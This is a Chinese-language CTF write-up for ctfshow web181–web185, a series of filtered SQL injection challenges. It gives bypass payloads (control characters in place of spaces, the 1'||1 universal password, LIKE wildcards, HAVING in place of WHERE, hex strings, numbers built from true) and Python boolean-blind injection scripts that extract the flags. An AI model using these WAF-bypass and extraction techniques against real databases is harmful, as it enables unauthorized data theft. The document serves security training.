目录
1、web181
过滤字符:
(1)空白字符:空格 ( )、水平制表符 (\x09)、换行符 (\x0a)、垂直制表符 (\x0b)、换页符 (\x0c)、空字符 (\x00)、回车符 (\x0d)、不换行空格 (\xa0)
(2)符号:星号 (*)、井号 (#)
(3)关键词(不区分大小写):file、into、select
实际测试 %0c 还是可以用:
1'--%0c
采用万能密码:
1'||1--%0c
拿到 flag:ctfshow{bef90a74-9ae2-4c76-8111-0ea0406f120b}
显示 username 为 flag 的行也可以:
0'||username='flag
2、web182
新增关键字 flag 的过滤,用 %0c :
1'||1--%0c
拿到 flag:ctfshow{ee8c935f-360a-47c2-99aa-0238ee9c0289}
此外,用 %01 到 %08 都可以:
1'||1--%01
还可以用 like 结合 % 进行通配绕过:
0'||%0cusername%0clike'f%
% 可以匹配任何数目的字符,类似于前面我们用过的通配符 *
而 _ 可以匹配单个字符:
0'||%0cusername%0clike'f___
3、web183
post 提交一个 tableName 参数进行查询,猜测表名还是 ctfshow_user:
tableName=ctfshow_user
可以看到一共有 22 条记录
单独查 flag 的这条数据:空格过滤了用括号代替
tableName=(ctfshow_user)where(pass)like'ctfshow{%'
回显 1
查询失败或者查一条不存在的记录:
tableName=(ctfshow_user)where(pass)like'test'
回显 0
很典型布尔盲注的特征
我们可以不断往 flag 后面新增字符进行猜解,比如下面先猜测 flag 的前五个字符为 ctfsh ,后面是通配任意数量字符,回显是 1 ,说明我们猜测正确了。
tableName=(ctfshow_user)where(pass)like'ctfsh%'
其实我们知道的部分为:ctfshow{
因此我们在此基础上继续往后面猜测:
附上勇师傅自己写的 python 脚本,虽然就这么一个短短的简单脚本,我真的调试了好久。。。
所以,好好学编程吧。
import requests
import string
url = 'http://abc922e7-01ed-4d9a-85a1-4f67a3ff5f32.challenge.ctf.show/select-waf.php'
dic = string.digits+string.ascii_lowercase+'-{}' # flag可能的字符
# print(dic)
out = 'ctfshow{' # 已经确定的部分
for j in range(0, 50): # 为了确保flag完整输出,范围尽量大一点,观察到flag完全输出后结束运行即可
for k in dic:
payload = {'tableName': f"(ctfshow_user)where(pass)like'{out+k}%'"} # 将每次更新后的out加上我们新增的一个猜测字符添加到payload
# print(payload)
re = requests.post(url, data=payload)
# print(re.text)
if '$user_count = 1;' in re.text:
print(k)
out += k
break # 回显1说明我们猜正确了,跳出内层循环,继续猜下一位
print(out)
拿到 flag:ctfshow{3f02d61c-3941-4a3f-8607-9abd3a6519f3}
4、web184
新增过滤掉了 where ,使用 having 代替:
having 是从前筛选的字段再筛选,而 where 是从数据表中的字段直接进行的筛选的,如果已经筛选出了某个字段,这种情况下 having 和 where 等效,但是如果没有 select 某个字段,后面直接 having 这个字段,就会报错。
select goods_price,goods_name from sw_goods where goods_price > 100
与
select goods_price,goods_name from sw_goods having goods_price > 100
等效
但是
select goods_name,goods_number from sw_goods where goods_price > 100
正常
select goods_name,goods_number from sw_goods having goods_price > 100
报错,因为前面并没有筛选出 goods_price 字段
过滤了引号,使用十六进制绕过
这里没有过滤空格
tableName=ctfshow_user group by pass having pass like 0x63746673686f777b25
回显成功
对前面的脚本进行修改:
import requests
import string
url = 'http://edb25716-636e-4234-bea4-4d0d6eccae00.challenge.ctf.show/select-waf.php'
dic = string.digits+string.ascii_lowercase+'-{}' # flag可能的字符
dic = [f"{ord(c):02x}" for c in dic] # 将字符转为十六进制格式
# print(dic)
out = '0x63746673686f777b' # 已经确定的部分
for j in range(0, 50): # 为了确保flag完整输出,范围尽量大一点,观察到flag完全输出后结束运行即可
for k in dic:
# print(k)
# payload = {'tableName': f"(ctfshow_user)where(pass)like'{out+k}%'"} # 将每次更新后的out加上我们新增的一个猜测字符添加到payload
payload = {'tableName': f"ctfshow_user group by pass having pass like {out+k}25"}
# print(payload)
re = requests.post(url, data=payload)
# print(re.text)
if '$user_count = 1;' in re.text:
print(k)
out += k
break # 回显1说明我们猜正确了,跳出内层循环,继续猜下一位
print(out)
得到:0x63746673686f777b37313064383239362d363661612d343335622d623364392d3137616539643639393162337d
将十六进制转为字符串
拿到 flag:ctfshow{710d8296-66aa-435b-b3d9-17ae9d6991b3}
5、web185
过滤掉了数字
可以使用 true 结合 concat 拼接出数字
附上 yu 师傅的脚本:
#author:yu22x
import requests
import string
url="http://8319afbf-281c-4a73-b14e-a29426d0e556.challenge.ctf.show/select-waf.php"
s='0123456789abcdef-{}'
def convert(strs):
t='concat('
for s in strs:
t+= 'char(true'+'+true'*(ord(s)-1)+'),'
return t[:-1]+")"
flag=''
for i in range(1,45):
print(i)
for j in s:
d = convert(f'^ctfshow{flag+j}')
data={
'tableName':f' ctfshow_user group by pass having pass regexp({d})'
}
#print(data)
r=requests.post(url,data=data)
#print(r.text)
if("user_count = 1" in r.text):
flag+=j
print(flag)
if j=='}':
exit(0)
break
拿到 flag:ctfshow{11e04c1b-6151-4696-81bf-8dba64323cfb}